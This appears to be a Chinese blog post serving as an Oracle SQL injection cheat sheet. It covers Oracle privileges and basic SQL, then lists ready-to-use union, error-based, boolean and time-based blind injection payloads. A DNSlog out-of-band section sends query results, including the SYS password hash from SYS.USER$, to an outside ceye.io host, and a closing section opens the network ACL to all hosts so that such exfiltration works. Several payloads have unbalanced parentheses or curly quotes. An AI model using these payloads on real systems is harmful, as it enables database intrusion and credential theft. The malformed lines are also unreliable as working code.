orcle注入

orcle权限分类

实体权限
select, update, insert, alter, index, delete,all //all括所有权限
execute //执行存储过程权限
系统权限
connect(最基本的权限,连接数据库权限)
resource(可以操作一些数据库资源)
DBA (最高权限)

sql基本操作语句

创建表
语法:create table "表名"(字段名1 类型(大小) 约束 ,字段名2 类型(大小) );
create table "sqli"(users VARCHAR(20) primary key,password VARCHAR(50));

增加列
语法:alter table 表名 add(字段名称, 数据类型)
alter table "sqli" add(name varchar2(200));

插入数据
语法:insert into "表名"(字段名1,字段名2) values('数据1','数据2')
insert into "sqli"(users,password) values('ming','785963');

删除列子段
语法:alter table "sqli" set unused column "列名";
alter table "sqli" set UNUSED COLUMN name_s;

删除数据
语法:delete "表名" where 匹配条件
DELETE "sqli" where users='xiangxx';

Truncate
语法:truncate table 表名
说明:将表中数据一次性删除
Truncate和 delete区别
truncate是DDL命令,删除数据不能恢复 ; delete是DML命令,删除数据可以通过数据库的日志文件进行恢复
如果一个表中记录很多, truncate相对 delete速度快

修改列字段名的类型长度
语法:alter table "sqli" modify(列字段名,修改的类型);
alter table "sqli" MODIFY(password varchar2(60));

修改数据
语法:update 表名 set 修改的数据 where 匹配修改数据位置
update "sqli" set password='123456789' where users='ming';

**查询** 
select *|列名|表达式 from 表名 where 条件 order by 列名
select * from "sqli" order by users desc  (降序)
select * from "sqli" order by user asc   (升序)
select * from "sqli" order by user       (默认就是升序)

系统权限操作

SQL> grant connect,resource,dba to用户名1[,用户名2]...;
创建系统用户(19c版本后需要加前缀c##user1)
语法:create user 用户名 identified by 密码
SQL> Create user c##users1 identified by users1;
并赋予user1连接数据库和操作数据库资源权限
SQL> grant connect,resource to c##users1;
修用户密码
语法:alter user 用户名 identified by 密码
SQL>alter user c##user1 identified by [password]
删除用户
drop user 用户名; //用户没有建任何实体
drop user 用户名 CASCADE; // 将用户及其所建实体全部删除

实体权限操作

users用户
SQL>grant select,insert, update on tablename to users1;            --赋权给用户: users1
SQL>grant select, insert, update on tablename to public:          --赋权给所有用户

实体权限传递:
1、grant select, update on tablename to users1 with grant option;   --users得到权限,并可以传递users1
实体权限收回:
1、revoke select insert, update on tablename from users1;         --收回给予的权限从用户
2、users1 revoke select, insert, update on tablename from public; --收回给予的权限从所有用户
注意:如果取消某个用户的对象权限,那么对于这个用户使用 WITH GRANT OPTION授予权限的用户来说,同样还会取消这些用户的相同权限,也就是说取消授权时级联的。

注入类型

注释符:--   /**/
约束语法:rownum(orcle)、top(mssql)、limit(mysql)
select username from dba_users	//查询数据库账户
查询数据版本:SELECT banner from sys.v_$version where rownum=1
select SYS_CONTEXT('USERENV','CURRENT_USER') from dual	//获取连接数据的用户名
select instance_name from v$instance							//获取数据库的服务名
遍历数据库
select owner from all_tables where rownum=1
select owner from all_tables where rownum=1 and owner not in ('SYS')	//排除sys数据库
select owner from all_tables where rownum=1 and owner not in('SYS','OUTLN','SYSTEM')	//排除'SYS','OUTLN','SYSTEM'数据
获取数据表名:
select table_name from user_tables where rownum=1 and table_name<>'T_USER'
select table_name from user_tables where rownum=1 
获取字段名:
select column_name from user_tab_columns where rownum=1
获取数据内容:
select users||password FROM "sqli" where rownum=1

联合查询

####判断字段数#####
id=1' order by 3 --
#####判断回显位#####
id=1' union select 1,2,3 from dual --		#dual查询的虚表
id=1' union select null,null,null from dual --	#null代表所以类型,orcle是强匹配,当查询的数据类型不同时可以使用null代替
#####查询数据库版本、类型、服务名#####
id=1' union select null,(SELECT banner from sys.v_$version where rownum=1),null from dual --
id=1' union select null,(select SYS_CONTEXT('USERENV','CURRENT_USER') from dual),null from dual --
id=1' union select null,(select instance_name from v$instance) from dual),null from dual --
#####查询数据库名#####
id=1' union select null,(select owner from all_tables where rownum=1) from dual),null from dual --
#####查询表名######
id=1' union select null,(select table_name from user_tables where rownum=1) from dual),null from dual --
#####查询列字段名#####
id=1' union select null,(select column_name from user_tab_columns where rownum=1) from dual),null from dual --
#####查询内容#####
id=1' union select null,(select users||password FROM "sqli" where rownum=1) from dual),null from dual --

报错注入

使用的函数
1、utl_inaddr.get_host_name()
原理:获取ip地址,其参数如果解析不了会报错,显示传递的参数。如果其参数是一个SQL语句,那么报错就会把结果给显示出来。
这种方法在 Oracle 8g,9g,10g中不需要任何权限,但是在** Oracle 11g及以后的版本中** ,官方加强了访问控制权限,所以在11g以后要使用此方法进行报错注入,当前数据库用户必须有网络访问权限
payload: and 1=utl_inaddr.get_host_name((select user from dual));
2、ctxsys.drithsx.sn()
payload:and 1=ctxsys.drithsx.sn(1,(select user from dual));
3、dbms_xdb_version.checkin()
payload:and dbms_xdb_version.checkin((select SYS_CONTEXT(‘USERENV’,‘CURRENT_USER’) from dual)) is not null –
4、dbms_xdb_version.uncheckout()
payload:and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not null –
5、dbms_xdb_version.makeversioned()
payload:and (select dbms_xdb_version.makeversioned ((select user from dual)) from dual) is not null –
6、dbms_utility.sqlid_to_sqlhash()
payload:and (select dbms_utility.sqlid_to_sqlhash ((select user from dual)) from dual) is not null –
7、ordsys.ord_dicom.getmappingxpath()
payload:and 1=ordsys.ord_dicom.getmappingxpath ((select user from dual)) –
8、XMLType()
payload:(select upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62))) from dual) is not null –

#####查询数据库版本、类型、服务名#####
id=1' and dbms_xdb_version.checkin((SELECT banner from sys.v_$version where rownum=1)) is not null --
id=1' and dbms_xdb_version.checkin((select SYS_CONTEXT('USERENV','CURRENT_USER') from dual)) is not null --
id=1' and dbms_xdb_version.checkin((select instance_name from v$instance)) is not null --
#####查询数据库名#####
id=1' and dbms_xdb_version.checkin((select owner from all_tables where rownum=1)) is not null --
#####查询表名######
id=1' and dbms_xdb_version.checkin((select table_name from user_tables where rownum=1)) is not null --
#####查询列字段名#####
id=1' and dbms_xdb_version.checkin((select column_name from user_tab_columns where rownum=1)) is not null --
#####查询内容#####
id=1' and dbms_xdb_version.checkin((select users||password FROM "sqli" where rownum=1)) is not null --

布尔注入

1、decode()
判断dual表的user的第一个字段是否“S”,是显示查询数据否不显示查询数据
payload:select * from “sqli” where users=‘xiang’ and 1=(select decode(substr((select user from dual),1,1), ‘s’, 1, 0) from dual) ;
2、instr()
instr会返回’SQL’位置数据在査询结果中的位置,未找到便返回0,可通过对‘SQL′位置进行遍历和迭代,获取到数据
判断dual表的user的第一个字段是否“S”,是显示查询数据否不显示查询数据
payload:select * from “sqli” where users=‘xiang’ and 1=(instr((select user from dual),‘S’))

#####判断数据库字符数#####
id=1' and (select length(owner) from all_tables where rownum=1)=3--         #猜解数据库3个字符
#####猜解数据库字符#########
id=1' and (select ascii(owner) from all_tables where rownum=1)=83 --
或先">"判断范围
id=1' and (select ascii(substr((select owner from all_tables where rownum=1)),1,1)) from dual)=83 --    #猜解第一个字为ascii为83字母S
id=1' and (select ascii(substr((select owner from all_tables where rownum=1),2,1)) from dual)=89 --       #猜解第二个字为ascii为89字母Y
id=1' and (select ascii(substr((select owner from all_tables where rownum=1),2,1)) from dual)=83 --       #猜解第二个字为ascii为83字母S
#表同样操作

时间盲注

1、DBMS_PIPE.RECEIVE_MESSAGE(任意值,延时时间)
payload:and 1=(DBMS_PIPE.RECEIVE_MESSAGE(‘a’,10))
查dual的user字段的第一个字母是否“S”,是,五秒后显示数据。否,立即不显示数据
payload: and 1=(select decode(substr(user,1,1),‘S’,(DBMS_PIPE.RECEIVE_MESSAGE(‘RDS’,5)),0) from dual)
2、select count() from all_objects 对数据库进行查询或其他操作会耗费较多时间,通过这个方式获取数据
and 1=(select decode(substr(user,3,1),‘’,(select count(
) from all_objects),0) from dual)

####判断数据库字符长度,如长度为6,5秒后返回1,否,立即返回0(主要是判断1=1还是1=0)###
and 1=(select decode(length(user),'6',(DBMS_PIPE.RECEIVE_MESSAGE('RDS',5)),0) from all_objects where rownum=1)---
###猜解库名(可以使用burpsuite能更快获取)#
and 1=(select decode(substr(owner,1,1),'S',(DBMS_PIPE.RECEIVE_MESSAGE('RDS',5)),0) from all_objects where rownum=1)

Dnslog注入(外带数据注入)

payload:
SELECT UTL_INADDR.GET_HOST_ADDRESS('ip.port.b182oj.ceye.io'); 
SELECT UTL_HTTP.REQUEST('http://ip.port.b182oj.ceye.io/oracle') FROM DUAL; 
SELECT HTTPURITYPE('http://ip.port.b182oj.ceye.io/oracle').GETCLOB() FROM DUAL; 
SELECT DBMS_LDAP.INIT(('oracle.ip.port.b182oj.ceye.io',80) FROM DUAL; 
SELECT DBMS_LDAP.INIT((SELECT password FROM SYS.USER$ WHERE name='SYS')||'.ip.port.b182oj.ceye.io',80) FROM DUAL;
实例:
SELECT HTTPURITYPE('http://'||(select user from dual)||'.r.ceye.io/oracle').GETCLOB() FROM DUAL;
这样DNSlog日志中就能查看到你外带的数据user的信息(19版本会出现Oracle:ORA-24247: 网络访问被访问控制列表 (ACL) 拒绝这个问题)

问题

处理:Oracle:ORA-24247: 网络访问被访问控制列表 (ACL) 拒绝这个问题

select * from dba_network_acl_privileges	#查询访问控制权限
select * from dba_network_acls		#查看访问控制列表acl
#添加权限
begin
    dbms_network_acl_admin.create_acl(
        acl =>'/sys/acls/url.xml',           #创建访问控制文件,命名随意,(重复创建会报xs实体存在)
        description =>'/sys/acls/url.xml',	#文件名称随意
        principal => 'C##ZHANGPENG',			#授权用户(当前登录用户,或其他)
        is_grant =>TRUE,							#授权TRUE,取消授权FALSE
        privilege =>'connect');				#授权权限列表(connect),取消授权列表(resolve)
    dbms_network_acl_admin.add_privilege(    #授权访问列表权限,操作同上
        acl =>'/sys/acls/url.xml',
        principal => 'C##ZHANGPENG',
        is_grant =>TRUE,
        privilege =>'connect');
        
    dbms_network_acl_admin.assign_acl( #允许访问acl
        acl =>'/sys/acls/url.xml',
        host =>'*',					#或者指定域名,或者*号全部
        lower_port =>1,			#开始端口
        upper_port =>1000		#结束端口
       );
    commit;
end;

删除权限
begin
dbms_network_acl_admin.delete_privilege(	
       'sys/acls/dns.xml',
       'C##ZHANGPENG',
        NUll,
        'resolve');
dbms_network_acl_admin.unassign_acl(
        acl =>'sys/acls/dns.xml',
        host =>'*'
        lower_port =>1,
        upper_port =>1000
       );
end;
测试:select utl_http.request('http://www.baidu.com/') from dual;
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值